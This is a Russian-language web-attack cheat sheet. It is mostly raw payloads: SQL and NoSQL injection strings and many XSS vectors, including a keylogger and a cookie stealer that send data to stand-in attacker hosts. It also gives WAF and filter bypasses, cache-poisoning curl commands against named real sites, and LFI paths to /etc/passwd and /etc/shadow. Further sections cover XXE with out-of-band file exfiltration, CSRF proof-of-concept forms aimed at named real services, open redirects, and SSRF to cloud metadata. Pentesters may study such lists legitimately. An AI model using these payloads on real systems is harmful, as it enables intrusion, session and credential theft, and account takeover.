SQL
a - (Строковой входящий параметр)
php?id=1'
php?id=1' —
b - (Числовой входящий параметр)
php?id=1 blablabla
php?id=-1
c - (Авторизация)
Под ником 'Admin' нам нужно вписать вместо него что то наподобие этого Admin' —
Уязвимость в поле 'pass'
123' OR login='Admin' —
d - (Оператор LIKE)
Вместо пароля просто ввести "%"
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
SLEEP(1) /*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “*/SELECT 1,2,IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/ FROM some_table WHERE ex = ample
Cookie - со странными именами, orange и squeeze(страница входа),
1'=sleep(10)='1
Для определения версии базы данных:
'= IF (MID (версия (), 1,1) = 1, SLEEP (10), 0) =' 1
'= IF (MID (версия (), 1,1) = 5, СНА (10), 0) =' 1
Для сжатия файла cookie:
Начальная полезная нагрузка для определения проблемы
1 'или true #
1 'или false #
postType='OR(if(now()=sysdate(),sleep(13),0))OR'"+--+
NoSQL injection
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
XSS
,./;'[]\-=
<>?:"{}|_+
!@#$%^&*()`~
'":;<>/\[]<script><h1>
''`;!--"<XSS>=&{()}
Html Entities
< - <
> - >
& - &
" - "
' - '
< %3C
> %3E
# %23
% %25
{ %7B
} %7D
| %7C
\ %5C
^ %5E
~ %7E
[ %5B
] %5D
` %60
; %3B
/ %2F
? %3F
: %3A
@ %40
= %3D
& %26
$ %24
+ %2B
" %22
space %20
У JS есть доступ:
localStorage.get('session_key')
sessionStorage
cookie
есть доступ к любым http ответам с этого же Origin
let xhr = new XMLHttpRequest();
xhr.open('GET', '/page-b.html');
xhr.send();
xhr.onload = function() {
if (xhr.status != 200) {
} else {
console.log(xhr.responseText);
}
};
верхний код иначе
<img src onerror='
onkeypress=
(e)=>{fetch("//evil?k="+String.fromCharCode(e.which))}
,this.remove()
'>
document.write() => document.documentElement.innerHTML='' => document.body.innerHTML=''
Для разграничения доступа js между разными сайтами используется Origin
Origin = protocol + hostname + port
SOP - Same-Origin-Policy - фундаментальная защита которая используется в вебе
JS, выполняемый на Origin https://site.ru:443 не может получить доступ к содержимому следующих Origin:
https://google.com:443
https://site.com:443
ftp://site.ru:443
https://site.ru:444
https://my.site.ru:443
Обходы SOP (CORS, WebSocet, PostMessage, JSONP, Flash)
Куки, поставленные на одном порту можно прочитать на любом другом порту
FOR S3 backet
serviceworker.js
self.addEventListener('fetch', function(event) {
event.respondWith(
new Response (
new Blob (
["<iframe src='https://mysite.ru'",
""]
{type:'text/html'}))
);
});
exploit.html
<body>
<script>navigator.serviceWorker.register(
'/serviceworker_...&X-Amz-Signature=...',
{scope:'/'}
</script>
</body>
Закрываем следующие тэги
<iframe>
<noembed>
<noscript>
<style>
<xmp>
<script>
<noframes>
<textarea>
<title>
<plaintext>
<template>
<frameset>
</noscript></style></scrip>....
<img src onerror=alert()> - <img/src/onerror=alert()>
<svg onload=alert()>
document.body.innerHTML+="<img src onerror=alert('img')>"
Основные методы вызова javascript из html
<script>...</script>
<img onerror="..." src="x">test</a> - обработчик событий
<a href="javascript:...">click to trigger javascript</> - через ссылки
<iframe src="javascript:..." - через iframe
<script>...</script> - БД - Html template DB call - DOM(user's browser) - <script>...</script>
xss между тэгами разметки
<script>alert(5)</script>
xss внутри значения аттрибута
"><script>alert(5)</script>
xss между специфичных тэгов (title / style / noscript / textarea)
"></title><script>alert(5)</script>
xss внутри тега script
"></script></title><script>alert(5)</script>
";+alert();//
;alert()
xss особенности HTML (одинарное / двойные кавычки)
'"></script></title><script>alert(5)</script>
xss внутри значения аттрибута
'%20autofocus%20onfocus='alert(); - onfocus не будет работать если у тэга input есть аттрибут type=hidden
' " onfocus='alert()' autofocus
xss внутри ссылки (гиперссылки / редиректы(?returnUrl=...))
<a href="javascript:alert(1)">
<a href="javascript://site.com/%0aalert()">Back</a>
javascript: = javascript://site.com/%0aalert()
%20javascript:alert(1)
%09javascript:alert(1)
iframe + обработчик (iframe - используется для того чтобы отобразить страницу внутри другой страницы), alert``
'"></title></script><iframe onload='alert``'>
<iframe srcdoc="<script>alert()</script>">
'"></title/</script/</style/><iframe/onload='alert``'>
<iframe src="data:text/html,<script>alert(location.origin)</script>"></iframe>
Пробелы между аттрибутами в тэге могут заменить слэшем
<iframe/onload='alert()' - необязательно закрывать тэг
xss попадает внутрь комментария
'"></title/</script/</style/--><iframe/onload='alert``'>
xss AngularJS/VueJs (F12 - Console - angular.version)
{{7*7}}
{{constractor.constractor('alert()')()}}
Универсальная нагрузка
'"/test/></title/</script/</style/-->{{7*7}}<iframe/onload='alert``'<!--
Добавить код через расширение
if(document.querySelectorAll('*[test]').length>0){
prompt('XSS');
}
xss + base64, Regexp + base64
Regexp
document.cookie == document['cookie']
document['location']=javascript:alert()
Email template's html injection (server-side-template-injection) (${} #{}, обратить внимание на шаблонизаторы)
Вставка html тэгов в шаблон письма - --></script><a href="//site.com">GO</a><img src=x>${7*7}{{7*7}}<!--
<a href=//test> => http://test
NULL <scri%00pt>alert()</scri%00pt>
TAB <svg+src="jav%09ascript:alert(1)">
Newline <script>//>%0Aalert(1);</script>
Carriage Return <script>//>%0Dalert(1);</script>
Spaces < s c r i p t > p r o m t ( 1 ) < / s c r i p t >
<link rel='stylesheet' href='/a' onerror='alert()'>
/#text= NAME'); alert(document.cookie+'
reflected XSS - /?report=javascript
%3aalert(document.domain)
/login?" onmouseover="alert(document.domain)"
"<svg/onload=alert(document.domain)
php?email='-alert(document.domain)-'
<script>\u0061\u006C\u0065\u0072\u0074(I)</script>
<img src="1" onerror="alert(1)" />
"><img src=x onerror=prompt(1);>
"><img src=x onerror=alert(document.domain)>
<script>a="get";b="URL";c="javascript:";d="alert(1);";eval(a+b+c+d);</script>
<form action="javascript:alert(document.location);"><input type="submit" /></form>
<iframe src="//www.youtube.com/embed/Ik9fCVkKeLg" frameborder="0" style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
<div style="background:url('javascript:alert(1)')">
input[name=csrf_token][value=^a]{background-image:url('http://attack.com/log.php?a');}
mobile-phones-tablets/ph-'*alert(1)*'%3E%3Cimg%20src=x%3Easdf?q=qwerty
";alert(1)//535"
"{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}"
XSS с помощью css:
<style>img{background-image:url('javascript:alert(1)')}</style>
Обход фаерволов:
<style>*{background-image:url('\6A\61\76\61\73\63\72\69\70\74\3A\61\6C\65\72\74\28\6C\6F\63\61\74\69\6F\6E\29')}</style>
Polyglot XSS - Mathias Karlsson
" onclick=alert(document.cookie)//<button ‘ onclick=alert(document.cookie)//> */ alert(1)//
В название файла
"><svg onload=alert(document.domain)>.png - в название файла name, filename(filename="test.<img src=a onerror=alert(1)>")
Дополнительно к картинке можно изменить
Content-Type: image/jpeg на Content-Type: text/html
"><svg onload=alert(1)>.jpg
В Chrome и Safari достаточно использовать функцию import. Например
<img src onerror=import('//bo0om.ru/x/')>
Для ответа у нашего скрипта должен быть настроен CORS, но в этом никакой проблемы нет.
"><img src=x onerror=prompt(document.domain)>
"/><svg/onload=alert(document.cookie);>
<svg><discard onbegin=alert(1)>
#<img/src="1"/onerror=alert(1)>
DOM
/download#"><img src=x onerror=prompt(/xss/);>
html#<script>alert(1);</script>
?section_type=xss'+prompt(1)+'
.html?error=Invalid image file"><img src=x onerror=alert(1)>
"onmouseover="alert(1)/ / - поместите заголовок в качестве поискового запроса в URL-адрес
/frame#1' onerror='alert("1")'>
/var=');alert('1
signup?next=javascript%3Aalert%28%27xss%27%29
/frame#data:text/plain,alert('1')
Через proxy вместо годного url вставить script (json)
"url": "javascript:alert(1)"
"Share" button add:
"><svg/onload=confirm(1)>
Change the logo link
javascripT://https://google.com%0aalert(1);//https://google.com
javascripT%3A%2F%2Fhttps%3A%2F%2Fgoogle.com%250aalert(document.domain)%3B%2F%2Fhttps%3A%2F%2Fgoogle.com
Mobile version
" ontouchstart="alert(1)
Greedy XSS Regex filter
<%0crameset%20src=''>
Изменить имя <img src="//domain.xyz/xss.swf">
КОД для swf расширение xss.as
package {
import flash.display.*;
import flash.external.ExternalInterface;
public class xss extends Sprite {
public function xss() {
ExternalInterface.call("alert(document.domain)");
}
}
}
Blind stored XSS
"><script src=https://x.com></script>
Reflective XSS
</script><svg><script>/<@/>alert(1337)</script>
XSS, через base64
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=">hack</a>
XSS - Generic(пользователь может передать в качестве префикса вектора атаки пару \', пройдя через механизм экранирования, пара примет вид \\', следовательно, одинарная кавычка потеряет статус экранирования)
#/')+alert(document.domain)//
XSS(через загрузку json)
”data”: {
”name”: ”#”><img src=/ onerror=alert(1)>”,
”type”: ”AUTO_EVENT_VAR”,
”autoEventVarMacro”: {
”varType”: ”HISTORY_NEW_URL_FRAGMENT”
}
}
XSS reflected через заголовок http Referer
Referer: http://www.google.com/search?hl=en&q=c5obc'+alert(1)+'p7yd5
Перехват нажатий и подмена интерфейса
<a href="http://attacker.org"><iframe src="http://example.org/"></iframe></a>
В поле формы, предназначенное для названия изображения
Было - Content-Disposition: form-data; name=”properties[Artwork file]”
Стало - Content-Disposition: form-data; name=”properties[Artwor k file<img src=’test’ onmouseover=’alert(2)’>]”;
В поле поиска
"><SCRIPT>var+img=new+Image();img.src="http://attack/"%20+%20document.cookie;</SCRIPT>
q=qwerty+%3Cscript%3Eevil_script()%3C/script%3E
При отписке
unsubscribed?email=email@gmail.com'"><svg/onload=alert(document.domain)>
unsubscribed?email=email@gmail.com%27%22%3E%3Csvg/onload=alert(document.domain)%3E
XSS через CSRF
<html>
<body onload='document.forms[0].submit()'>
<form method='POST' enctype='application/json' action='https://api.imgur.com/3/folders'>
<input name='name' value='New Test"><img src=x onerror=prompt(1)>'>
<input name='is_private' value='false'>
</form>
</body>
</html>
Прочее
$(sleep 20)<script>alert(1)</script> "> <img src="x" onerror=promt(1);>
в IIS возможно создать XSS payload не только в форматах типа html/xml? Оказывается, что вектор для XML <a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1337)</a:script> может быть загружен со следующими расширенями: .dtd .mno .vml .xsl .xht .svg .xml .xsd .xsf .svgz .xslt .wsdl .xhtml, а вектор <script>alert(1337)</script> будет работать в форматах .cer .hxt и .htm
Stored XSS, используя специфическую для Wiki иерархическую ссылку Markdown на страницах Wiki.
Title: javascript:
Format: Markdown
Content: [XSS](.alert(1);)
XSS через заголовок
Связать отравление кэша с сохраненным XSS. Создать уникальный ключ и добавил стиль заголовка с полезной нагрузкой XSS и запустить запрос. www.redacted.com/?q=admin&liec4897=1
style: dsfsdfsdfsdf"><script>alert(9)</script><!--
ANGULAR
?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescriptor(_.__proto__,$).value,0,"alert(1)")()}}zzzz
WAF
oalertnfocus=alalertert(documealertnt.cookie) autofocus
Practical Web Cache Poisoning
Что более разумно и распространено для кеширования - это статические, общедоступные файлы: таблицы стилей (css), скрипты (js), текстовые файлы (txt), изображения (png, bmp, gif) и т.д.
Что происходит при доступе к URL-адресу, например http://www.example.com/home.php/non-existent.css?
В зависимости от технологии и конфигурации (для разных серверов структура URL может потребоваться несколько отличаться), сервер возвращает содержимое http://www.example.com/home.php. И да, URL остается http://www.example.com/home.php/non-existent.css. Заголовки HTTP будут такими же, как и для прямого доступа к http://www.example.com/home.php: те же заголовки кэширования и тот же тип контента
Steps To Reproduce:
Login to your account.
Go to https://chaturbate.com/my_collection/.
Then after go to https://chaturbate.com/my_collection/min.js.
Open private mode (Incognito window) or Any other browser and paste https://chaturbate.com/my_collection/min.js url in address bar.
Через curl
url=https://catalog.data.gov/dataset/consumer-complaint-database?dontpoisoneveryone=$(date +%s) && curl -i -s -k -H $'Host: catalog.data.gov' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: /' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)' -H $'x-forwarded-host: portswigger-labs.net/catalog.data.gov_json_xss/json.php?' -H $'Connection: close' $url | fgrep portswigger && echo -e "\n\n$url"
An attacker can easily poison the cache in arbitrary regions by using a service like https://www.nexcess.net/resources/tools/global-dns-checker/?h=catalog.data.gov&t=A to get a list of CloudFront's frontends in different regions, then routing the attack through each of those in turn:
curl --resolve catalog.data.gov:443:54.230.9.199 -H $'x-forwarded-host: portswigger-labs.net/'
An attacker can persistently block access to any/all redirects on www.hackerone.com by using cache poisoning with the X-Forwarded-Port or X-Forwarded-Host headers to redirect users to an invalid port.
curl -H 'X-Forwarded-Port: 123' https://www.hackerone.com/index.php?dontpoisoneveryone=1
This attack can also be done using the X-Forwarded-Host header:
curl -H 'X-Forwarded-Host: www.hackerone.com:123' https://www.hackerone.com/index.php?dontpoisoneveryone=1
Authentication bypass
В процессе аутентификации при доступе к веб-сайту, посетив ссылку для отмены подписки.
PHPSESSID=xxx;
Open redirect
?url=
?to=
?go=
?ReturnUrl=
?return_to=
?domain_name=
?checkout_url=
?redirect_to=
?hostname=
=//www.facebook.com
=https://facebook.com
=/..//facebook.com
index.php?go=javascript:alert(document.domain)
?page=javascript:alert(document.location)
edit?image=http://securityidiots.com?vimeocdn.com/.png - ссылалось на сайт vimeocdn.com с любым разрешением
<iframe src="https://.../..html> - ..html - содержит код
<!DOCTYPE html>
...
...
<body>
<script>top.window.location = "https://evil.com";<script>
</body>
**Link filter protection bypass**
Usage: ?url=//google。com
Goes to: https://google.com
URL encoded: %E3%80%82
?url=google%E3%80%82com
CRLF(Carriage Return Line Feed)
GET /qwerty%0ASet-Cookie:%20test=qwerty;domain=.beepcar.ru HTTP/1.1
\r\n
0X0A
%0D%0A
%E5%98%8A
%E5%98%8A% E5%98%8D
login?redirect_after_login=https://twitter.com:21/%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE
Примечание обхода %E5%E98%8A => U+560A => 0A
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>deface</html>
В этом случае %20 является пробелом, а %0d%0a - CRLF.
Login?hl=%0D%0A[B]fakeheader[/B]&null=Go%20HTTP/1.1
robots.txt
Disallow - Запрет доступа всех роботов
Allow - Разрешает доступ к определенной части ресурса
google dork
https://www.exploit-db.com/google-hacking-database
https://www.youtube.com/watch?v=d3NzsrmVrlw
https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Long.pdf
cache: this dork will show you the cached version of any website, e.g. cache: securitytrails.com
allintext: searches for specific text contained on any web page, e.g. allintext: hacking tools
allintitle: exactly the same as allintext, but will show pages that contain titles with X characters, e.g. allintitle:"Security Companies"
allinurl: it can be used to fetch results whose URL contains all the specified characters, e.g: allinurl client area
filetype: used to search for any kind of file extensions, for example, if you want to search for jpg files you can use: filetype: jpg
inurl: this is exactly the same as allinurl, but it is only useful for one single keyword, e.g. inurl: admin
intitle: used to search for various keywords inside the title, for example, intitle:security tools will search for titles beginning with “security” but “tools” can be somewhere else in the page.
inanchor: this is useful when you need to search for an exact anchor text used on any links, e.g. inanchor:"cyber security"
intext: useful to locate pages that contain certain characters or strings inside their text, e.g. intext:"safe internet"
link: will show the list of web pages that have links to the specified URL, e.g. link: microsoft.com
site: will show you the full list of all indexed URLs for the specified domain and subdomain, e.g. site:securitytrails.com
*: wildcard used to search pages that contain “anything” before your word, e.g. how to * a website, will return “how to…” design/create/hack, etc… “a website”.
|: this is a logical operator, e.g. "security" "tips" will show all the sites which contain “security” or “tips,” or both words.
+: used to concatenate words, useful to detect pages that use more than one specific key, e.g. security + trails
–: minus operator is used to avoiding showing results that contain certain words, e.g. security -trails will show pages that use “security” in their text, but not those that have the word “trails.”
«site:trello.com AND intext:@gmail\.com AND intext:password»
allintext:username filetype:log
inurl:/proc/self/cwd
Clickjacking
Примечание:
Нет X-FRAME-OPTIONS, установленных в DENY или SAMEORIGIN, то они уязвимы для clickjacking
Выполните приведенный ниже код из браузера, и вы увидите, что перечисленные ссылки уязвимы для атаки с помощью кликов
<!DOCTYPE html>
<html>
<frameset cols="25%,*,25%">
<frame src="https://www.semrush.com/?l=us">
<frame src="https://www.semrush.com/academy/">
<frame src="https://www.semrush.com/ranking-factors/">
<frame src="https://www.semrush.com/semrush-opensearch.xml">
</frameset>
</html>
По шагам
1. open notepad and paste the following code
<html>
<head>
<title>Clickjack test page</title>
</head>
<body>
<p>Website is vulnerable to clickjacking!</p>
<iframe src="https://semrush.com/" width="1247" height="800"></iframe>
</body>
</html>
2. save it as <anyname>.html eg s.html
3. and just simply open that..
LFI
/index.php?file=/../../../../../../../../../etc/passwd
=../../../../../../../../../../../../../etc/passwd%00
/anysome/vip/css/..\..\..\..\..\..\..\..\..\etc\passwd
file=/../../../../../../etc/passwd.php%00
file=/../../../../../../etc/passwd%00.php
index.txt при условии, что приписывается окончание .php
index.txt/././././../...«(100-10)/2 раз».../././
php://filter/convert.base64-encode/resource=index
http://xqi.cc/index.php?m=php://filter/convert.base64-encode/resource=index
Поиск файла с паролями в следующих местах:
■ /etc/security/passwd
■ /tcb/auth/files/
■ <first letter of username>/<username>
■ /tcb/files/auth/?/
■ /etc/master.passwd
■ /etc/shadow
■ /etc/tcb/aa/user/
■ /.secure/etc/passwd
■ /etc/passwd[.dir|.pag]
■ /etc/security/passwd.adjunct
■ ##username
■ <optional NIS+ private secure maps/tables/whatever>
■ /etc/security/* database
■ /etc/auth[.dir|.pag]
■ /etc/udb
../../../../../../../../../../../etc/passwd%00 ;(etc/rc, etc/rc.local, etc/ssh/ssh_config)
../../../../../../../../../../../etc/hosts ;(proc/cpuinfo, proc/meminfo)
*php wrappers:*
index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
page=php://filter/convert.base64-encode/resource=index.php
page=file:///hidden_code.txt
Лучший способ проверить отдает он /etc/passwd или нет - это выполнить этот запрос и поискать в HTML-коде ответа имя существующего пользователя, например root
Ниже приведён пример записи /etc/passwd:
root:x:0:0:root:/root:/bin/bash
Эта строка показывает, что пользователь root имеет скрытый пароль, а также, что его коды UID и GID равны 0. В качестве домашнего каталога root использует каталог /root/, а в качестве оболочки — /bin/bash.
За дополнительными сведениями о /etc/passwd, обратитесь к странице man passwd(5).
Ниже приведён пример строки файла /etc/shadow:
juan:$1$.QKDPc5E$SWlkjRWexrXYgc98F.:12825:0:90:5:30:13096:
Эта строка содержит следующие сведения о пользователе juan:
Его пароль был в последний раз изменён 11 февраля 2005 г.
Срок, в течение которого нельзя изменить пароль, не определён
Пароль должен меняться каждые 90 дней
Пользователь будет получать предупреждение о необходимости его сменить в течение 5 дней
Учётная запись будет отключена через 30 дней после истечения срока действия пароля, если не будет попыток входа в систему
Срок учётной записи истекает 9 ноября 2005 г.
За дополнительной информацией о файле /etc/shadow обратитесь к странице man shadow(5).
Ниже приведён пример строки файла /etc/group:
general:x:502:juan,shelley,bob
Эта строка показывает, что у группы general есть скрытый пароль, её код GID равен 502, а её членами являются juan, shelley и bob.
За дополнительными сведениями о /etc/group обратитесь к странице man group(5).
Ниже приведён пример строки файла /etc/gshadow:
general:!!:shelley:juan,bob
Эта строка показывает, что для группы general не задан пароль, и не её члены не могут войти в эту группу с помощью команды newgrp. Кроме этого, администратором группы является shelley, а juan и bob — обычные, непривилегированные пользователи.
Так как при редактировании этих файлов можно допустить синтаксические ошибки, для управления пользователями и группами рекомендуется использовать специальные приложения, имеющиеся в Red Hat Enterprise Linux. В следующем разделе рассматриваются основные средства для выполнения этих задач.
XXE(XML External Entity)
Атака, направленная на приложение, которое обрабатывает парсит XML код.
Возможные форматы XML, DOCX, XLSX..
Стандартом определены два уровня правильности документа XML:
Правильно построенный (well-formed) документ. Такой документ соответствует общим правилам синтаксиса XML, применимым к любому XML-документу. И если, например, начальный тег не имеет соответствующего ему конечного тега, то это неправильно построенный XML.
Действительный (valid) документ. Действительный документ дополнительно соответствует некоторым семантическим правилам. Это более строгая проверка корректности документа на соответствие заранее определенным, но уже внешним правилам. Эти правила описывают структуру документа: допустимые названия элементов, их последовательность, названия атрибутов, их тип и тому подобное. Обычно такие правила хранятся в отдельных файлах специального формата — схемах.
Основные форматы определения правил валидности XML-документов — это DTD (Document Type Definition) и XML Schema. Остановимся на DTD. Стандартом предусмотрено два варианта связывания документа с его схемой: либо через ссылку на схему в заголовке XML-документа (этот заголовок называется Document Type Declaration):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE order SYSTEM "order.dtd">
<order>
<product>1234</product>
<count>1</count>
</order>
либо через описание схемы в документе inline (аналогия: подключение CSS через ссылку или inline):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE order [
<!ELEMENT count (#PCDATA)>
<!ELEMENT product (#PCDATA)>
<!ELEMENT order (product, count)>
]>
<order>
<product>1234</product>
<count>1</count>
</order>
Выделяем два класса использования парсеров: на уровне платформы / стандартных библиотек и на уровне прикладного (своего) кода. Типичный пример использования парсеров на уровне платформы —поддержка протоколов XML-RPC и SOAP, на уровне прикладного кода — реализация обмена данными между приложением и пользователем: импорт, экспорт и так далее.
Возможность подключения внешних сущностей волнует нас прежде всего в контексте анализа защищенности веб-приложений. Из всего стека протоколов, основанных на XML, нас будут интересовать только популярные: SOAP и XML-RPC.
Что бы мы хотели получить в идеале? Конечно, возможность чтения локальных файлов вроде этого:
В HTTP-запрос, в котором на сервер передается XML, вставляем <!ENTITY xxe SYSTEM "file:///etc/passwd">.
В теле XML-документа даем ссылку на сущность — &xxe;.
В ответе получаем содержимое локального файла.
Пример #1:
POST http:example.com/xml HTTP/1.1
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar SYSTEM
"file:///etc/lsb-release">
]>
<foo>
&bar;
</foo>
Пример #2:
Исходный запрос
PUT /rest/import/users?test=1 ...
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <list> <user login="Name" fullName="FIO" email="name@lol.su"/> </list>
Изменив исходный запрос на XXE вектор вида
PUT /rest/import/users?test=1 ...
<?xml version="1.0"?> <!DOCTYPE list [ <!ENTITY % xxe SYSTEM "http://xxe.yourhost.ru/xxe-test"> %xxe; ]> <list></list>
К вам на сервер придет запрос:
GET /xxe-test HTTP/1.1 HOST: xxe.yourhost.ru USER_AGENT: Java/1.8.0_45 ACCEPT: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 CONNECTION: keep-alive
java — даёт нам огромное преимущество!
Фича в эксплуатации XXE в JAVA от ONSEC. Суть исследования в том, что используя протокол FTP можно передавать содержимое файлов, даже если в ответе от сервера информация не передаётся. Ещё один плюс, это особенность java — обращение к директории даёт её листинг.
Создать файл, java.dtd:
<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://xxe.yourhost.ru/%b;'>">%c;
Слушать 21 порт (FTP), отправить атакующий HTTP-пакет:
PUT /rest/import/users?test=1 ...
<?xml version="1.0"?> <!DOCTYPE list [ <!ENTITY % b SYSTEM "file:///etc/passwd"> <!ENTITY % asd SYSTEM "http://xxe.yourhost.ru/java.dtd"> %xxe; ]> <list></list>
Часть 0 - Инъекция через JSON/XML-заглушки для API https://xakep.ru/2016/03/23/json-xml-api-xxe/
Часть 1 – What is XML External Entity (XXE)? https://www.acunetix.com/blog/articles/xml-external-entity-xxe-vulnerabilities/
Часть 2 – XML External Entity (XXE) limitations https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
Часть 3 – Out-of-band XML External Entity (OOB-XXE) https://www.acunetix.com/blog/articles/band-xml-external-entity-oob-xxe/
Exploiting-xxe-with-local-dtd-files
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
CSRF/XSRF(Cross Site Request Forgery)
Благоприятная среда для CSRF
Отсутствие CSRF-токенов.(X-Requested-With, XMLHttpRequest, заголовок X-CSRFToken, Host, Origin, Referer)
Проверка только на фронте, без проверки на стороне сервера.
Включено подтверждение через email.
Токены передаются в URL
Пример сценариев атаки:
Приложение позволяет пользователю отправлять запрос на изменение состояния, который не содержит ничего секретного. Вот так:
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
Таким образом, злоумышленник строит запрос, который переводит деньги со счета жертвы на свою учетную запись, а затем вводит эту атаку в запрос изображения или iframe, хранящийся на разных сайтах под контролем атакующего.
<img src = "http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width = "0" height = "0" />
Если жертва посещает какой-либо из этих сайтов, хотя уже прошел проверку подлинности на example.com, любые поддельные запросы будут включать информацию о сеансе пользователя, непреднамеренно разрешающую запрос.
<form action="http://mail.com/send" method="POST">
<input type="hidden" name="csrf" value="salt + ":" + MD5(salt + ":" + secret)">
<input type='hidden' name='csrfmiddlewaretoken' value='django'
<textarea name="message">
...
</textarea>
<input type=submit>
</form>
CSRF to XSS
<html>
<body>
<form action="https://www.teavana.com/on/demandware.store/Sites-Teavana-Site/default/Wishlist-Comments/:id" method="POST">
<input type="hidden" name="wishlistComment" value="</textarea><img src=x onerror=alert(1)>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Еще пример:
<!doctype html>
<html>
<head>
</head>
<body>
<script>
var a = window.open("https://app.mavenlink.com/project_templates#new", "csrf", "height=100,width=100");
var intervalID = setTimeout(function () { a.close();}, 30000);
</script>
</body>
</html>
Еще пример:(Все конечные точки API (v1 и v2) отражают session_id для ответа Set-Cookie - что может привести жертву к учетной записи злоумышленника)
<!doctype html>
<html>
<head>
</head>
<body>
<form action="https://unikrn.com/apiv1/" method="POST">
<input type="hidden" name="session_id" id="session_id" value="cm8csktf7p485hmb7on32o5bm94nm71i"> <!-- attacker session_id -->
<input type="submit"">
</form>
</body>
</html>
Еще пример: Create a CSRF login POC using the following code.
<html>
<body>
<form action="https://unikrn.com/apiv1/login" method="POST">
<input type="hidden" name="usr" value="[email]">
<input type="hidden" name="pwd" value="[password]">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Еще пример
<!doctype html>
<html>
<head>
</head>
<body>
<form action="https://www.instacart.com/v3/subscriptions" method="POST">
<input type="hidden" name="free_trial" id="free_trial" value="true">
<input type="hidden" name="promo" id="promo" value="true">
<input type="hidden" name="term" id="term" value="year">
<input type="submit">
</form>
</body>
</html>
SSRF - Server side request forgery
В случае с SSRF жертвой является сам уязвимый сервер, а в случае с CSRF - это браузер пользователя.
• Использование Google Dorking
• %00 - нулевой байт, дополнительные слэши, вопросительный знак.
...net/global/media_-preview.php?url=http://ziot.org/?1.png
Например, злоумышленник может получить доступ к службам на локальном хосте. В следующем примере злоумышленник может сделать следующий запрос на HTTP-серверах Apache с включенным mod_status (включен по умолчанию).
GET /?url=http://localhost/server-status HTTP/1.1
Host: example.com
Аналогичным образом, запрос на запрос на стороне сервера (SSRF) можно использовать для запросов на другие внутренние ресурсы, к которым имеет доступ веб-сервер, но не подвергаются публичной проверке. В качестве примера можно получить доступ к метаданным экземпляра экземпляров Amazon EC2 и OpenStack. Эта услуга доступна только для сервера, а не для внешнего мира. Злоумышленник может даже получить креатив с SSRF и запустить сканирование портов во внутренних сетях с помощью этого подхода.
GET /?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: example.com
Помимо URL-адресов http: // и https: //, злоумышленник может использовать менее известные или устаревшие схемы URL-адресов для доступа к файлам в локальной или внутренней сети.
Примером такого запроса является использование схемы file:///
GET /?url=file:///etc/passwd HTTP/1.1
Host: example.com
Если cURL используются для выполнения запросов можно использовать схему URL-адреса dict, чтобы отправлять запросы любому хосту на любом порту и отправлять пользовательские данные. ( dict://, ftp:// gopher://)
